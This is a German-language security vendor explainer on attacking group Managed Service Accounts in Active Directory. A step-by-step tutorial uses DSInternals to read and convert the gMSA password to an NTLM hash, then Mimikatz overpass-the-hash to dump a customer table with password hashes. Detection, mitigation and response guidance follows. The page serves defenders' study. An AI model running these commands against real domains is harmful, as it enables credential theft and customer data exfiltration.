Angriffe auf Group Managed Service Accounts
Managed Service Accounts (MSAs), jetzt bekannt als eigenständige Managed Service Accounts (sMSAs), wurden in Windows Server 2008R2 und Windows 7 eingeführt. Sie bieten von Active Directory verwaltetes automatisches Passwortmanagement und delegierte Verwaltung für Dienstkonten auf einem einzelnen System. Für Windows Server 2012 und Windows 8 hat Microsoft group Managed Service Accounts (gMSAs) hinzugefügt, die sMSAs ablösen und die Möglichkeit bieten, dasselbe Dienstkonto auf mehreren Systemen zu verwenden.
Dienstkonten sind ein häufiges Ziel für Angreifer, da sie die benötigten Privilegien bieten können, um ihre Mission zu erfüllen. Die Passwörter für gMSAs werden im Active Directory im msDS-ManagedPassword Attribut des gMSA-Objekts gespeichert. Angreifer können ausgenutzte Privilegien nutzen, um ein gMSA auszunutzen, indem sie auf sein Passwort zugreifen. Zum Beispiel ist das Computerkonto (d.h. Prozess als NT AUTHORITY\SYSTEM ausgeführt) für jedes System, das einen Dienst unter der gMSA-Identität ausführt, in der Lage, auf das Passwort zuzugreifen.
Bedrohungszusammenfassung
Ziel: Active Directory
Tools: Mimikatz, DSInternals
ATT&CK® Taktik: Credential Access
ATT&CK-Technik: Nicht zutreffend
Schwierigkeit
Erkennung: Niedrig
Milderung: Niedrig
Antwort: Mittel
Angriffs-Tutorial: Wie ein Angriff mit Group Managed Service Accounts funktioniert
SCHRITT 1: Entdecken Sie ein ausnutzbares gMSA
Zuerst muss ein Angreifer gMSAs identifizieren, die er ausnutzen kann. Ein Angreifer muss entweder ein Konto kompromittiert haben, das Berechtigungen hat, die Berechtigungen des gMSA zu ändern, oder ein Konto mit Berechtigungen, das Passwort des gMSA zu lesen. (Das Computerkonto für jedes System, das den gMSA legitim verwendet, hat die Fähigkeit, das Passwort aus dem Active Directory zu lesen. Jeder Prozess, der als NT AUTHORITY\SYSTEM-Benutzer läuft, kann daher auf das Passwort des gMSA zugreifen.)
In diesem Beispiel hat ein Angreifer eine Schwachstelle in einem beliebten Content-Management-System (CMS) ausgenutzt, die die Ausführung von Remote-Code auf dem Webserver erlaubt. Sie entdeckten, dass das schlecht konfigurierte CMS als NT AUTHORITY\SYSTEM läuft und ermittelten die Identitäten, unter denen andere Websites auf dem Server laufen, und fanden das SvcCustomerWeb$ gMSA.
PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> Import-Module WebAdministration
PS C:\Windows\system32> Get-ChildItem "IIS:\AppPools" | Foreach-Object {
>> $AppPoolName = $_.Name; (Get-Item "IIS:\AppPools\$($_.Name)").processModel |
>> Select @{Name = "AppPoolName"; Expression = {$AppPoolName}}, identityType, userName }
AppPoolNameidentityTypeuserName
-------------------------------
.NET v4.5ApplicationPoolIdentity
.NET v4.5 ClassicApplicationPoolIdentity
ContentManagementSystem LocalSystem
CustomerWebsiteSpecificUserSvcCustomerWeb$
DefaultAppPoolApplicationPoolIdentity
PS C:\Windows\system32>
SCHRITT 2: Kompromittieren Sie das gMSA-Passwort
Next, the adversary needs to render the gMSA's 256-byte password (the equivalent of 256 characters), which is composed entirely of random bits, into a usable format. They can either convert the random bytes into a usable password or convert it to a NTLM hash, which can then be used with Pass-the-Hash or Overpass-the-Hash techniques. The DSInternals PowerShell module provides the ConvertFrom-ADManagedPasswordBlob and ConvertTo-NTHash cmdlets for these purposes.
PS C:\Windows\system32> Install-Module -Name DSInternals -Force
PS C:\Windows\system32> Import-Module DSInternals
# Acquire gMSA password
PS C:\Windows\system32> $gMSA = ConvertFrom-ADManagedPasswordBlob (Get-ADServiceAccount SvcCustomerWeb -prop 'msDS-ManagedPassword' | Select -expand 'msDS-ManagedPassword')
# Obtain plaintext password as 128 UTF-16 characters. Note: these characters don't render well in PowerShell, so we suggest outputing the password to a file:
# e.g.: $gMSA.CurrentPassword | Out-File gMSAPassword.txt
PS C:\Windows\system32> $gMSA.CurrentPassword
ﻛୄ㫢沬뛩톈ᒰ枭로挴ꦯ黯刳䛹㍶鴝ꠅꨜ♤ཙ㘩惦鷧౨⮎鹲좺ﯞ蓼䩿뻞έ恤ㇴ倹⤇쁻ຌ௫Я딝㌥頪園ᢜ䵼烗ₖ鍥쨼蟎ꠡÑ샄ℳ⽇፬⸗睎능찈숦ﭳⲭ鎚㰽韹땦쪪騌ힾ낝鋹员㾶쟟㳍ْ痪Л፝堪澴캄畩ʛ뛅ꔭ궡٬鹕☑늭颹躱煉㘬ꇶ蓾蕳Ḙ蝅葳⸕獜쑨罹祇諾쨒槖켥ꁼᏣ
# Obtain NTLM hash
PS C:\Windows\system32> ConvertTo-NTHash $gMSA.SecureCurrentPassword
9a9865e4a0412c6a726ec31568cbebc7
PS C:\Windows\system32>
SCHRITT 3: Verwenden Sie das gMSA-Passwort für weitere Ziele
Der Angreifer kann nun die kompromittierten Anmeldeinformationen nutzen, um seine Ziele weiterzuverfolgen. In diesem Beispiel verwendet der Angreifer Overpass-the-Hash, um sich an der Kundendatenbank zu authentifizieren und eine Liste der Kunden, ihrer Kontaktinformationen und ihrer Passwort-Hashes zu exfiltrieren.
PS C:\Windows\system32> mimikatz.exe "sekurlsa::pth /user:SvcCustomerWeb$ /domain:domain.com /ntlm:9a9865e4a0412c6a726ec31568cbebc7" exit
# A new command prompt opens
C:\Windows\system32>mssql-cli --server dbserver --username "domain\SvcCustomerWeb$" --integrated --query "SELECT SYSTEM_USER; SELECT * FROM [CustomerApp].[dbo].[Customers];"
+--------------------------+
| (No column name)|
|--------------------------|
| DOMAIN\SvcCustomerWeb$|
+--------------------------+
(1 row affected)
+--------------+-------------+-----------+----------------------------+------------------------------------------+
| customerId| givenName| surName| email| password|
|--------------+-------------+-----------+----------------------------+------------------------------------------|
| 1| Bob| Jones| bjones@stealthbitslab.com| 6367c48dd193d56ea7b0baad25b19455e529f5ee |
| 2| Suzy| Smith| smith@stealthbitslab.com| 5d04c4864322580108f66e0e64c89a9aa31aef56 |
| 3| Amy| Hawkes| ahawkes@stealthbitslab.com | bf8ffd3a80b00c3a8bf9aca2edcae9203ab7837e |
| 4| Jill| Paul| jpaul@stealthbitslab.com| 3e8e521392424218e6e1b12c6d8803ba0a8645cf |
+--------------+-------------+-----------+----------------------------+------------------------------------------+
(4 rows affected)
Erkennen, Minderung und Reaktion
Erkennen
Schwierigkeitsgrad: Niedrig
Es kann schwierig sein, alle unbefugten Lesevorgänge des msDS-ManagedPassword-Attributs zu erkennen, besonders wenn sie über das Computerkonto erfolgen. Allerdings sollten normale Benutzer niemals auf gMSA-Passwörter zugreifen, daher ist die Überwachung der Active Directory-Ereignisprotokolle auf den Zugriff auf gMSA-Passwörter durch andere Benutzer als Computerkonten eine wichtige Erkennung. Darüber hinaus ist auch die Überwachung von gMSA-Konten auf Änderungen der Berechtigungen (das msDS-GroupMSAMembership-Attribut) wichtig, um festzustellen, welche Entitäten auf das Passwort zugreifen können.
Ereignis-ID 4662 in der Unterkategorie Audit Directory Service Access überwacht grundlegende Informationen über Benutzer, die Operationen innerhalb von Active Directory für Ereignisse durchführen, die in einer Objekt-system access control list (SACL) festgelegt sind.
Mit diesem Ereignis ist es möglich zu sehen, wann ein Benutzer ein gMSA-Passwort liest. Um diese Ereignisse zu identifizieren, filtern Sie die Ereignisprotokolle nach:
- Operationstyp: Objektzugriff
- Zugriffe: Eigenschaft lesen
- Eigenschaften: Beinhaltet die GUID {e362ed86-b728-0842-b27d-2dea7a9df218}. Dies ist die GUID des msDS-ManagedPassword-Attributs.
Mildern
Schwierigkeitsgrad: Mittel
Die Minderung des Risikos einer gMSA-Ausnutzung dreht sich letztendlich um den Schutz von Active Directory-Privilegien, die es einem Angreifer erlauben, gMSA-Berechtigungen zu ändern oder das Passwort zu lesen, und um die Übernahme anderer Best Practices zur Verhinderung von Infiltrationen:
- Überprüfen Sie regelmäßig die Berechtigungen zur Änderung von gMSA-Konten und setzen Sie das Prinzip der minimalen Rechtevergabe konsequent um.
- Überprüfen Sie regelmäßig die Mitgliedschaft des msDS-GroupMSAMembership-Attributs bei jedem gMSA und stellen Sie sicher, dass nur autorisierte Computerkonten Berechtigungen erhalten, um das Passwort zu nutzen.
- Alarmieren Sie in Echtzeit über Änderungen an gMSA-Berechtigungen.
Antworten
Schwierigkeitsgrad: Mittel
Sollte ein anderer Benutzer als ein autorisiertes Computerkonto das gMSA-Passwort abrufen oder eine unbefugte Änderung der gMSA-Berechtigungen erfolgen, gibt es mehrere Maßnahmen, die man sofort ergreifen kann:
- Aktivieren Sie den Incident-Response-Prozess und alarmieren Sie das Reaktionsteam.
- Setzen Sie das Passwort des Benutzers, der die Aktion durchgeführt hat, zurück und deaktivieren Sie diesen Benutzer optional, um a) die sofortige Replikation auf alle Domänencontroller zu erzwingen und b) die Nutzung des Kontos durch den Gegner zu unterbrechen.
- Setzen Sie das Passwort für das betroffene gMSA zurück.
- Quarantäne für die betroffenen Maschinen zur forensischen Untersuchung sowie für Ausrottungs- und Wiederherstellungsaktivitäten.
Teilen auf
Zugehörige Cybersecurity-Angriffe anzeigen
Missbrauch von Entra ID-Anwendungsberechtigungen – Funktionsweise und Verteidigungsstrategien
AdminSDHolder-Modifikation – Funktionsweise und Verteidigungsstrategien
AS-REP Roasting Attack - Funktionsweise und Verteidigungsstrategien
Hafnium-Angriff - Funktionsweise und Verteidigungsstrategien
DCSync-Angriffe erklärt: Bedrohung für die Active Directory Security
Golden SAML-Angriff
Verständnis von Golden Ticket-Angriffen
DCShadow-Angriff – Funktionsweise, Beispiele aus der Praxis & Verteidigungsstrategien
ChatGPT Prompt Injection: Risiken, Beispiele und Prävention verstehen
NTDS.dit-Passwortextraktionsangriff
Kerberoasting-Angriff – Funktionsweise und Verteidigungsstrategien
Pass-the-Hash-Angriff
Pass-the-Ticket-Attacke erklärt: Risiken, Beispiele & Verteidigungsstrategien
Password-Spraying-Angriff
Angriff zur Extraktion von Klartext-Passwörtern
Zerologon-Schwachstelle erklärt: Risiken, Exploits und Milderung
Ransomware-Angriffe auf Active Directory
Active Directory mit dem Skeleton Key-Angriff entsperren
Laterale Bewegungen: Was es ist, wie es funktioniert und Präventionsmaßnahmen
Warum ist PowerShell so beliebt bei Angreifern?
4 Angriffe auf Dienstkonten und wie man sich dagegen schützt
Wie Sie Malware-Angriffe daran hindern, Ihr Geschäft zu beeinträchtigen
Was ist Credential Stuffing?
Kompromittierung von SQL Server mit PowerUpSQL
Was sind Mousejacking-Angriffe und wie kann man sich dagegen verteidigen
Diebstahl von Anmeldeinformationen mit einem Security Support Provider (SSP)
Rainbow-Table-Attacken: Wie sie funktionieren und wie man sich dagegen verteidigt
Ein umfassender Blick auf Passwortangriffe und wie man sie stoppt
LDAP-Aufklärung
Umgehen der MFA mit dem Pass-the-Cookie-Angriff
Silver Ticket Attack